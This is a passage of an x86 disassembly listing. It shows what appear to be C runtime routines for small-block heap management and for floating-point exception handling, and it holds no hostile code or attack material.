loc_41706F:				; CODE XREF: sub_416FD8+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_743878
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_417086:				; CODE XREF: sub_416FD8+95j
		pop	edi
		pop	esi
		retn
sub_416FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417089	proc near		; CODE XREF: sub_416CCF+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41709B:				; CODE XREF: sub_417089+19j
		test	eax, eax
		jl	short loc_4170A4
		shl	eax, 1
		inc	ebx
		jmp	short loc_41709B
; ---------------------------------------------------------------------------


loc_4170A4:				; CODE XREF: sub_417089+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4170B9:				; CODE XREF: sub_417089+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4170B9
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_41F174	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4170EC
		or	eax, 0FFFFFFFFh
		jmp	loc_41717F
; ---------------------------------------------------------------------------


loc_4170EC:				; CODE XREF: sub_417089+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_417132
		lea	eax, [edi+10h]


loc_4170F9:				; CODE XREF: sub_417089+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4170F9


loc_417132:				; CODE XREF: sub_417089+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41716F
		or	[eax+4], edi


loc_41716F:				; CODE XREF: sub_417089+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41717F:				; CODE XREF: sub_417089+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417184	proc near		; CODE XREF: sub_4157BF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_417332
		test	bl, 1
		jnz	loc_41732B
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41732B
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_4171FB
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_4171FB:				; CODE XREF: sub_417184+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41724B
		cmp	ecx, 20h
		jnb	short loc_417227
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41724B
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41724B
; ---------------------------------------------------------------------------


loc_417227:				; CODE XREF: sub_417184+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41724B
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41724B:				; CODE XREF: sub_417184+7Dj
					; sub_417184+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_417319
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_417285
		push	3Fh
		pop	edi


loc_417285:				; CODE XREF: sub_417184+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_417307
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_4172DE
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4172D1
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4172D1:				; CODE XREF: sub_417184+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_417303
; ---------------------------------------------------------------------------


loc_4172DE:				; CODE XREF: sub_417184+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4172F4
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4172F4:				; CODE XREF: sub_417184+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_417303:				; CODE XREF: sub_417184+158j
		shr	edx, cl
		or	[eax], edx


loc_417307:				; CODE XREF: sub_417184+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41731C
; ---------------------------------------------------------------------------


loc_417319:				; CODE XREF: sub_417184+E5j
		mov	edx, [ebp+arg_4]


loc_41731C:				; CODE XREF: sub_417184+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_417472
; ---------------------------------------------------------------------------


loc_41732B:				; CODE XREF: sub_417184+52j
					; sub_417184+5Cj
		xor	eax, eax
		jmp	loc_417475
; ---------------------------------------------------------------------------


loc_417332:				; CODE XREF: sub_417184+49j
		jge	loc_417472
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41735D
		push	3Fh
		pop	esi


loc_41735D:				; CODE XREF: sub_417184+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_4173EC
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_417376
		push	3Fh
		pop	esi


loc_417376:				; CODE XREF: sub_417184+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4173C5
		cmp	esi, 20h
		jnb	short loc_4173A1
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4173C2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4173C2
; ---------------------------------------------------------------------------


loc_4173A1:				; CODE XREF: sub_417184+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4173C2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4173C2:				; CODE XREF: sub_417184+214j
					; sub_417184+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_4173C5:				; CODE XREF: sub_417184+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4173EC
		push	3Fh
		pop	esi


loc_4173EC:				; CODE XREF: sub_417184+1DDj
					; sub_417184+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_417469
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_417440
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417433
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_417433:				; CODE XREF: sub_417184+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_417465
; ---------------------------------------------------------------------------


loc_417440:				; CODE XREF: sub_417184+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417456
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_417456:				; CODE XREF: sub_417184+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_417465:				; CODE XREF: sub_417184+2BAj
		shr	edx, cl
		or	[eax], edx


loc_417469:				; CODE XREF: sub_417184+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_417472:				; CODE XREF: sub_417184+1A2j
					; sub_417184:loc_417332j
		push	1
		pop	eax


loc_417475:				; CODE XREF: sub_417184+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41747A(int,int,double,int)

sub_41747A	proc near		; CODE XREF: sub_413FAE+51p
					; sub_4140F7+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_438128, 0
		jnz	short loc_4174AF
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_417A2F
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4174AF:				; CODE XREF: sub_41747A+Aj
		push	0FFFFh
		mov	dword_74222C, 21h
		push	[ebp+arg_C]
		call	sub_417CA2
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41747A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4174CD(int,int,double,double,int)

sub_4174CD	proc near		; CODE XREF: sub_413FAE:loc_414071p
					; sub_4140F7:loc_4141BAp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_417818
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41750B
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_417565
		add	esp, 18h


loc_41750B:				; CODE XREF: sub_4174CD+1Aj
		push	[ebp+arg_0]
		call	sub_417B02
		cmp	dword_438128, 0
		pop	ecx
		jnz	short loc_417549
		test	eax, eax
		jz	short loc_417549
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_417A2F
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_417549:				; CODE XREF: sub_4174CD+4Ej
					; sub_4174CD+52j
		push	eax
		call	sub_417AB7
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_417CA2
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4174CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417565	proc near		; CODE XREF: sub_4174CD+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_417597
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_417597:				; CODE XREF: sub_417565+23j
		test	cl, 2
		jz	short loc_4175AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4175AA:				; CODE XREF: sub_417565+35j
		test	cl, bl
		jz	short loc_4175BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4175BC:				; CODE XREF: sub_417565+47j
		test	cl, 4
		jz	short loc_4175CF
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4175CF:				; CODE XREF: sub_417565+5Aj
		test	cl, 8
		jz	short loc_4175E2
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4175E2:				; CODE XREF: sub_417565+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_417C85
		test	al, bl
		jz	short loc_41766B
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41766B:				; CODE XREF: sub_417565+FDj
		test	al, 4
		jz	short loc_417676
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_417676:				; CODE XREF: sub_417565+108j
		test	al, 8
		jz	short loc_417681
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_417681:				; CODE XREF: sub_417565+113j
		test	al, 10h
		jz	short loc_41768B
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41768B:				; CODE XREF: sub_417565+11Ej
		test	al, 20h
		jz	short loc_417695
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_417695:				; CODE XREF: sub_417565+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4176D4
		cmp	eax, 400h
		jz	short loc_4176C6
		cmp	eax, 800h
		jz	short loc_4176BA
		cmp	eax, ecx
		jnz	short loc_4176DA
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176BA:				; CODE XREF: sub_417565+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4176D0
; ---------------------------------------------------------------------------


loc_4176C6:				; CODE XREF: sub_417565+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4176D0:				; CODE XREF: sub_417565+15Fj
		mov	[eax], ecx
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176D4:				; CODE XREF: sub_417565+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_4176DA:				; CODE XREF: sub_417565+14Bj
					; sub_417565+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_417705
		cmp	eax, 200h
		jz	short loc_4176F8
		cmp	eax, ecx
		jnz	short loc_417712
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_417712
; ---------------------------------------------------------------------------


loc_4176F8:				; CODE XREF: sub_417565+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_417710
; ---------------------------------------------------------------------------


loc_417705:				; CODE XREF: sub_417565+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_417710:				; CODE XREF: sub_417565+19Ej
		mov	[eax], ecx


loc_417712:				; CODE XREF: sub_417565+189j
					; sub_417565+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_417C93
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_41F17C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41778C
		and	dword ptr [esi], 0FFFFFFFEh


loc_41778C:				; CODE XREF: sub_417565+222j
		test	byte ptr [eax+8], 8
		jz	short loc_417795
		and	dword ptr [esi], 0FFFFFFFBh


loc_417795:				; CODE XREF: sub_417565+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41779E
		and	dword ptr [esi], 0FFFFFFF7h


loc_41779E:				; CODE XREF: sub_417565+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4177A7
		and	dword ptr [esi], 0FFFFFFEFh


loc_4177A7:				; CODE XREF: sub_417565+23Dj
		test	[eax+8], bl
		jz	short loc_4177AF
		and	dword ptr [esi], 0FFFFFFDFh


loc_4177AF:				; CODE XREF: sub_417565+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_4177E3
		dec	ecx
		jz	short loc_4177D7
		dec	ecx
		jz	short loc_4177CD
		dec	ecx
		jnz	short loc_4177E5
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_4177E5
; ---------------------------------------------------------------------------


loc_4177CD:				; CODE XREF: sub_417565+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_4177DF
; ---------------------------------------------------------------------------


loc_4177D7:				; CODE XREF: sub_417565+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_4177DF:				; CODE XREF: sub_417565+270j
		mov	[esi], ecx
		jmp	short loc_4177E5
; ---------------------------------------------------------------------------


loc_4177E3:				; CODE XREF: sub_417565+257j
		and	[esi], edx


loc_4177E5:				; CODE XREF: sub_417565+260j
					; sub_417565+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_417805
		dec	ecx
		jz	short loc_4177FC
		dec	ecx
		jnz	short loc_41780E
		and	[esi], edx
		jmp	short loc_41780E
; ---------------------------------------------------------------------------


loc_4177FC:				; CODE XREF: sub_417565+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41780C
; ---------------------------------------------------------------------------


loc_417805:				; CODE XREF: sub_417565+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41780C:				; CODE XREF: sub_417565+29Ej
		mov	[esi], ecx


loc_41780E:				; CODE XREF: sub_417565+291j
					; sub_417565+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417565	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417818	proc near		; CODE XREF: sub_4174CD+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_417843
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_417843
		push	ebx
		call	sub_417CC5
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_417A0D
; ---------------------------------------------------------------------------


loc_417843:				; CODE XREF: sub_417818+15j
					; sub_417818+1Aj
		test	al, 4
		jz	short loc_41785D
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41785D
		push	4
		call	sub_417CC5
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_417A0D
; ---------------------------------------------------------------------------


loc_41785D:				; CODE XREF: sub_417818+2Dj
					; sub_417818+33j
		test	al, bl
		jz	loc_417937
		test	byte ptr [ebp+arg_8], 8
		jz	loc_417937
		push	8
		call	sub_417CC5
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41790F
		cmp	ecx, 400h
		jz	short loc_4178E7
		cmp	ecx, 800h
		jz	short loc_4178BF
		cmp	ecx, eax
		jnz	loc_41792F
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41F7A8
		fld	dbl_437AB8
		fnstsw	ax
		sahf
		ja	short loc_4178B7
		fchs


loc_4178B7:				; CODE XREF: sub_417818+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_4178BF:				; CODE XREF: sub_417818+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41F7A8
		fnstsw	ax
		sahf
		jbe	short loc_4178D7
		fld	dbl_437AA8
		jmp	short loc_4178DF
; ---------------------------------------------------------------------------


loc_4178D7:				; CODE XREF: sub_417818+B5j
		fld	dbl_437AB8
		fchs


loc_4178DF:				; CODE XREF: sub_417818+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417818+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41F7A8
		fnstsw	ax
		sahf
		jbe	short loc_4178FF
		fld	dbl_437AB8
		jmp	short loc_417907
; ---------------------------------------------------------------------------


loc_4178FF:				; CODE XREF: sub_417818+DDj
		fld	dbl_437AA8
		fchs


loc_417907:				; CODE XREF: sub_417818+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_41790F:				; CODE XREF: sub_417818+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41F7A8
		fld	dbl_437AA8
		fnstsw	ax
		sahf
		ja	short loc_417927
		fchs


loc_417927:				; CODE XREF: sub_417818+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41792D:				; CODE XREF: sub_417818+A5j
					; sub_417818+CDj ...
		fstp	qword ptr [ecx]


loc_41792F:				; CODE XREF: sub_417818+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_417A0D
; ---------------------------------------------------------------------------


loc_417937:				; CODE XREF: sub_417818+47j
					; sub_417818+51j
		test	al, 2
		jz	loc_417A0D
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_417A0D
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_417952
		mov	esi, ebx


loc_417952:				; CODE XREF: sub_417818+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_41F7A8
		fnstsw	ax
		sahf
		jz	loc_4179FB
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_417BC4
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
